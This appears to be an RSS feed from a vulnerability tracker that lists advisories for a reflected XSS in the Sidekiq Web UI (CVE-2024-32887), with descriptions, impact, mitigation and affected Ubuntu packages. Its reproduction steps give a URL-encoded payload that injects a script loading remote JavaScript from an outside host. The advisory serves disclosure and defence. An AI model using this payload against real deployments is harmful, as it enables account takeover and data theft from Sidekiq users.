https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Tue, 06 Oct 2026 05:13:08 +0000 https://cve.radiocsirt.org/vuln/bdu:2024-05712 bdu:2024-05712 https://cve.radiocsirt.org/vuln/bdu:2024-05712 https://cve.radiocsirt.org/vuln/euvd-2026-5210 EUVD-2026-5210 https://cve.radiocsirt.org/vuln/euvd-2026-5210 https://cve.radiocsirt.org/vuln/fkie_cve-2024-32887 <p>Sidekiq is simple, efficient background processing for Ruby. Sidekiq is reflected XSS vulnerability. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc. This issue has been patched in version 7.2.4.</p> <p>Sidekiq is simple, efficient background processing for Ruby. Sidekiq is reflected XSS vulnerability. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc. This issue has been patched in version 7.2.4.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2024-32887 https://cve.radiocsirt.org/vuln/ghsa-q655-3pj8-9fxq <p><strong>Affected:</strong> RubyGems: sidekiq</p> <p>### Description: During the source Code Review of the metrics.erb view of the Sidekiq Web UI, A reflected XSS vulnerability is discovered. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application.</p> <p>This vulnerability can be exploited to target the users of the application, and users of other applications deployed on the same domain or website as that of the Sidekiq website. Successful exploit results may result in compromise of user accounts and user data.</p> <p>### Impact: The impact of this vulnerability can be severe. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc.</p> <p>### Mitigation: Encode all output data before rendering it in the response to prevent XSS attacks.</p> <p>### Steps to Reproduce: 1. Go to the following URL of the sidekiq Web UI: https://{host}/sidekiq/metrics?substr=beret%22%3E%3Cscript%20src=%22https://cheemahq.vercel.app/a.js%22%20/%3E 2. XSS payload will be executed, causing a popup.</p> <p>### Evidence:</p> <p>![image](https://github.com/sidekiq/sidekiq/assets/59286712/9b7efa06-60bc-4d72-bb37-c59…</p> <p><strong>Affected:</strong> RubyGems: sidekiq</p> <p>### Description: During the source Code Review of the metrics.erb view of the Sidekiq Web UI, A reflected XSS vulnerability is discovered. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application.</p> <p>This vulnerability can be exploited to target the users of the application, and users of other applications deployed on the same domain or website as that of the Sidekiq website. Successful exploit results may result in compromise of user accounts and user data.</p> <p>### Impact: The impact of this vulnerability can be severe. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc.</p> <p>### Mitigation: Encode all output data before rendering it in the response to prevent XSS attacks.</p> <p>### Steps to Reproduce: 1. Go to the following URL of the sidekiq Web UI: https://{host}/sidekiq/metrics?substr=beret%22%3E%3Cscript%20src=%22https://cheemahq.vercel.app/a.js%22%20/%3E 2. XSS payload will be executed, causing a popup.</p> <p>### Evidence:</p> <p>![image](https://github.com/sidekiq/sidekiq/assets/59286712/9b7efa06-60bc-4d72-bb37-c59…</p> https://cve.radiocsirt.org/vuln/ghsa-q655-3pj8-9fxq https://cve.radiocsirt.org/vuln/gsd-2024-32887 gsd-2024-32887 https://cve.radiocsirt.org/vuln/gsd-2024-32887 https://cve.radiocsirt.org/vuln/ubuntu-cve-2024-32887 <p><strong>Withdrawn by the publisher.</strong></p> <p><strong>Affected:</strong> Ubuntu:Pro:16.04:LTS: ruby-sidekiq, Ubuntu:Pro:18.04:LTS: ruby-sidekiq, Ubuntu:Pro:20.04:LTS: ruby-sidekiq, Ubuntu:22.04:LTS: ruby-sidekiq, Ubuntu:24.10: ruby-sidekiq, Ubuntu:24.04:LTS: ruby-sidekiq, Ubuntu:25.04: ruby-sidekiq</p> <p>Sidekiq is simple, efficient background processing for Ruby. Sidekiq is reflected XSS vulnerability. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc. This issue has been patched in version 7.2.4.</p> <p><strong>Withdrawn by the publisher.</strong></p> <p><strong>Affected:</strong> Ubuntu:Pro:16.04:LTS: ruby-sidekiq, Ubuntu:Pro:18.04:LTS: ruby-sidekiq, Ubuntu:Pro:20.04:LTS: ruby-sidekiq, Ubuntu:22.04:LTS: ruby-sidekiq, Ubuntu:24.10: ruby-sidekiq, Ubuntu:24.04:LTS: ruby-sidekiq, Ubuntu:25.04: ruby-sidekiq</p> <p>Sidekiq is simple, efficient background processing for Ruby. Sidekiq is reflected XSS vulnerability. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc. This issue has been patched in version 7.2.4.</p> https://cve.radiocsirt.org/vuln/ubuntu-cve-2024-32887